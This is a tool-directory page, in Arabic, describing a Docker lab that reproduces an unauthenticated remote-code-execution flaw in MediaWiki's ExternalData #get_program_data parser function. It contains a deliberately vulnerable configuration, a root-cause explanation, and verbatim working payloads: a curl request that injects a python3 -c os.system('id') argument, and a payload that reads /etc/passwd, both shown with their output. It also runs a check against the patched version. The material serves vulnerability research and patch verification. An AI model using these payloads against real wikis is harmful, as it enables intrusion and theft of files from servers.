Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
mediawiki-CVE-2026-100382 — مختبر Docker يعيد إنتاج CVE-2026-100382: تنفيذ تعليمات برمجية عن بُعد عبر حقن الوسائط دون مصادقة في #get_program_data الخاص بـ MediaWiki ExternalData، مع حمولات PoC والتحقق من التصحيح. | Kitploit
أدوات/GitHubGitHub/nth347/mediawiki-cve-2026-100382
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبالقيادة والسيطرةالتعلم والتعليممختبرات وتدريب عملي
GitHubnth347/mediawiki-cve-2026-100382

mediawiki-CVE-2026-100382

مختبر Docker يعيد إنتاج CVE-2026-100382: تنفيذ تعليمات برمجية عن بُعد عبر حقن الوسائط دون مصادقة في #get_program_data الخاص بـ MediaWiki ExternalData، مع حمولات PoC والتحقق من التصحيح.

عرض المستودع
3منذ 6 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إعادة إنتاج المختبر - CVE-2026-100382 (حقن أوامر نظام التشغيل في ExternalData)

ما هو هذا المختبر

  • MediaWiki 1.43 (الصورة الرسمية، SQLite) + ExternalData 3.6.1 (آخر إصدار قابل للاستغلال)، مُثبَّت للقراءة فقط من ../mediawiki-extensions-ExternalData.
  • الاسترجاع المحلي فقط: منشور على 127.0.0.1:${HOST_PORT} (الافتراضي 8080).
  • التحرير المجهول + action=parse مُفعَّلان (إعدادات MediaWiki الافتراضية) - لا يحتاج إثبات المفهوم إلى تسجيل دخول.

التشغيل

cd lab
./up.sh        # installs, loads ExternalData 3.6.1, seeds vulnerable sources, prints URL
./down.sh      # docker compose down -v + wipe .env

إعداد المسؤول القابل للاستغلال (الواقعي)

يقوم entrypoint.sh بتهيئة مصدر تنفيذ يحاكي الغرض الموثَّق لـ #get_program_data - كشف برنامج من جانب الخادم للمحررين، مع تمرير معامل من المستخدم إلى سطر الأوامر - بدون إدخال param filters تقييدي (الإضافة لا تشترط وجوده):

$wgExternalDataSources['chart'] = [
    'command' => 'python3 $options$ /srv/chart.py',   // user param interpolated
    'params'  => [ 'options' ],
    'format'  => 'text',
];

الاستخدام المقصود: {{#get_program_data: program=chart | options=--dpi=120 }} -> ينفّذ python3 --dpi=120 /srv/chart.py.

ملخص السبب الجذري (لماذا يحدث الاستغلال)

  • يقوم EDConnectorBase::supplementParams() بإدراج معاملات المستخدم في قالب command على مستوى الويكي عبر strtr (EDConnectorBase.php:461-470,560).
  • ثم يقوم EDConnectorExe::__construct() بتنفيذ explode(' ', $command) (EDConnectorExe.php:92) - حيث تُقسَّم قيمة المستخدم المُدرَجة على المسافات إلى رموز argv منفصلة دون إعادة اقتباس.
  • ينفّذ run() الأمر Shell::command($command)->execute() (EDConnectorExe.php:139). يقوم Shell::command() بتهريب كل رمز من رموز الصدفة، لذا فإن محارف الصدفة الوصفية (;، |) غير فعّالة - هذا حقن معاملات (CWE-88 / CWE-78)، وليس حقن صدفة ساذج. التحكم في argv إضافية للبرنامج الهدف (هنا python3 -c) يؤدي إلى تنفيذ كود كامل.
  • ملاحظة: لا يمكن للمستدعي توفير command مباشرةً - فالمصدر المدمج ذو البدل * يفرض command => null، مما يزيل أي command يوفره المستخدم. لذا فإن ناقل الهجوم هو إدراج المعاملات في أمر يُعرّفه المسؤول.

مخرجات الطرفية (حرفيًا)

النطاق: محارف الصدفة الوصفية مُهرَّبة (حقن معاملات، وليس حقن صدفة)

$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id

المسافات البيضاء تقسّم معاملًا واحدًا إلى رموز argv متعددة

$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c

RCE - تنفيذ أوامر عشوائية بصلاحيات مستخدم الويب (بدون مصادقة)

$ curl -sS http://127.0.0.1:8080/api.php \
    --data-urlencode action=parse --data-urlencode format=json \
    --data-urlencode contentmodel=wikitext \
    --data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

قراءة ملفات عشوائية

$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

اختبار سلبي مقابل التصحيح (لإغلاق الحلقة)

عند تبديل الإضافة المُثبَّتة إلى الوسم 3.7 وإعادة تشغيل نفس الحمولة:

The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.

يقوم الإصدار 3.7 بتعطيل EDConnectorExe افتراضيًا ($wgExternalDataDisabledClasses، Bug T434961). تحذير: كود المصدر لم يتغير - فالويكي الذي يزيل EDConnectorExe من تلك القائمة لمواصلة استخدام #get_program_data يظل قابلًا للاستغلال بالكامل.

تنزيل الأداة